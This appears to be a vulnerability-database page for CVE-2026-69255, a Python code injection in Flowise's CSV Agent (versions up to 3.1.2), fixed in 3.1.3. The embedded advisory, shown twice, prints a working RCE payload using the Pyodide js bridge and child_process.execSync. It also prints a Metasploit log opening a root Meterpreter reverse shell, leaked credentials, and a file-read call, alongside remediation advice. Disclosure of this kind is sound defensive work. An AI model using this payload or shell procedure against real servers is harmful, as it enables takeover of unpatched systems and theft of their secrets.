CVE-2026-69255: Flowise — CRITICAL

## UPDATE 2026-05-20: Full RCE as root VERIFIED **This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.** ### Verified Exploit Chain 1. Python code injection via `base64_string = "${base64String}"` (CSVAgent.ts line 161) 2. Pyodide `js`...

Full CISO analysis pending enrichment.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Flowise	npm	<= 3.1.2	`3.1.3`
Flowise	npm	<= 3.1.2	`3.1.3`

How severe is it?

CVSS 3.1

N/A

EPSS

N/A

Exploitation Status

No known exploitation

Sophistication

N/A

What should I do?

Patch available

Update Flowise to version 3.1.3

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-69255?

## UPDATE 2026-05-20: Full RCE as root VERIFIED **This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.** ### Verified Exploit Chain 1. Python code injection via `base64_string = "${base64String}"` (CSVAgent.ts line 161) 2. Pyodide `js` bridge provides access to the host Node.js process 3. `process.mainModule.constructor._load('child_process')` loads child_process (bypasses ESM require restriction) 4. `.execSync('CMD')` executes arbitrary OS commands as **root** (PID 1 in container) ### Working RCE Payload ``` ";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");# ``` **Constraint:** No commas allowed in payload — `csvFile.split(',')` splits on all commas. ### Metasploit Session Proof ``` msf > use exploit/multi/http/flowise_csv_agent_rce msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp msf > exploit [+] Authentication successful [+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4 [*] Sending stage (3090404 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422) meterpreter > getuid Server username: root meterpreter > sysinfo Computer : cbce3fb352b7 OS : Linux 6.8.0-111-generic Architecture : x64 Meterpreter : x64/linux meterpreter > shell # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) # uname -a Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux ``` ### Additional Verified Impact **Credential Theft:** ``` FLOWISE_PASSWORD=admin123 DATABASE_PATH=/root/.flowise APIKEY_PATH=... ``` **Arbitrary File Read** via `process.binding('fs').readFileUtf8('/etc/hostname')` → `cbce3fb352b7` **Server DoS** — certain native binding calls (spawn_sync) crash the Node.js process entirely. ### CVSS v3.1: 9.9 CRITICAL `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` --- ## Original Report (below) ## Vulnerable Code **File:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts` **Lines 133-138** — Unsanitized string extraction from data URI via `file.split(',').pop().pop()` — no validation on content. **Lines 155-171** — Direct interpolation into executable Python code: `base64_string = "${base64String}"` is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context. `validatePythonCodeForDataFrame()` denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171. ## Remediation **Option 1 (Best):** Use `pyodide.globals.set('base64_string', base64String)` instead of string interpolation **Option 2:** Validate base64 before interpolation — reject if not matching `/^[A-Za-z0-9+/=]*$/` **Option 3:** Escape special characters (`"`, `\n`, `\r`, `\\`) before interpolation ## Related CVEs - CVE-2026-41264 (CSV Agent regex bypass) - CVE-2026-41265 (Airtable Agent sandbox bypass) - CVE-2026-46442 (NodeVM sandbox escape) **Disclosure:** Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.

Is CVE-2026-69255 actively exploited?

No confirmed active exploitation of CVE-2026-69255 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-69255?

Update to patched version: Flowise 3.1.3, Flowise 3.1.3.

What is the CVSS score for CVE-2026-69255?

No CVSS score has been assigned yet.

What are the technical details?

Original Advisory

## UPDATE 2026-05-20: Full RCE as root VERIFIED **This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.** ### Verified Exploit Chain 1. Python code injection via `base64_string = "${base64String}"` (CSVAgent.ts line 161) 2. Pyodide `js` bridge provides access to the host Node.js process 3. `process.mainModule.constructor._load('child_process')` loads child_process (bypasses ESM require restriction) 4. `.execSync('CMD')` executes arbitrary OS commands as **root** (PID 1 in container) ### Working RCE Payload ``` ";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");# ``` **Constraint:** No commas allowed in payload — `csvFile.split(',')` splits on all commas. ### Metasploit Session Proof ``` msf > use exploit/multi/http/flowise_csv_agent_rce msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp msf > exploit [+] Authentication successful [+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4 [*] Sending stage (3090404 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422) meterpreter > getuid Server username: root meterpreter > sysinfo Computer : cbce3fb352b7 OS : Linux 6.8.0-111-generic Architecture : x64 Meterpreter : x64/linux meterpreter > shell # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) # uname -a Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux ``` ### Additional Verified Impact **Credential Theft:** ``` FLOWISE_PASSWORD=admin123 DATABASE_PATH=/root/.flowise APIKEY_PATH=... ``` **Arbitrary File Read** via `process.binding('fs').readFileUtf8('/etc/hostname')` → `cbce3fb352b7` **Server DoS** — certain native binding calls (spawn_sync) crash the Node.js process entirely. ### CVSS v3.1: 9.9 CRITICAL `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` --- ## Original Report (below) ## Vulnerable Code **File:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts` **Lines 133-138** — Unsanitized string extraction from data URI via `file.split(',').pop().pop()` — no validation on content. **Lines 155-171** — Direct interpolation into executable Python code: `base64_string = "${base64String}"` is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context. `validatePythonCodeForDataFrame()` denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171. ## Remediation **Option 1 (Best):** Use `pyodide.globals.set('base64_string', base64String)` instead of string interpolation **Option 2:** Validate base64 before interpolation — reject if not matching `/^[A-Za-z0-9+/=]*$/` **Option 3:** Escape special characters (`"`, `\n`, `\r`, `\\`) before interpolation ## Related CVEs - CVE-2026-41264 (CSV Agent regex bypass) - CVE-2026-41265 (Airtable Agent sandbox bypass) - CVE-2026-46442 (NodeVM sandbox escape) **Disclosure:** Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.

Weaknesses (CWE)

CWE-94 Improper Control of Generation of Code ('Code Injection') Primary

CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

[Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
[Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.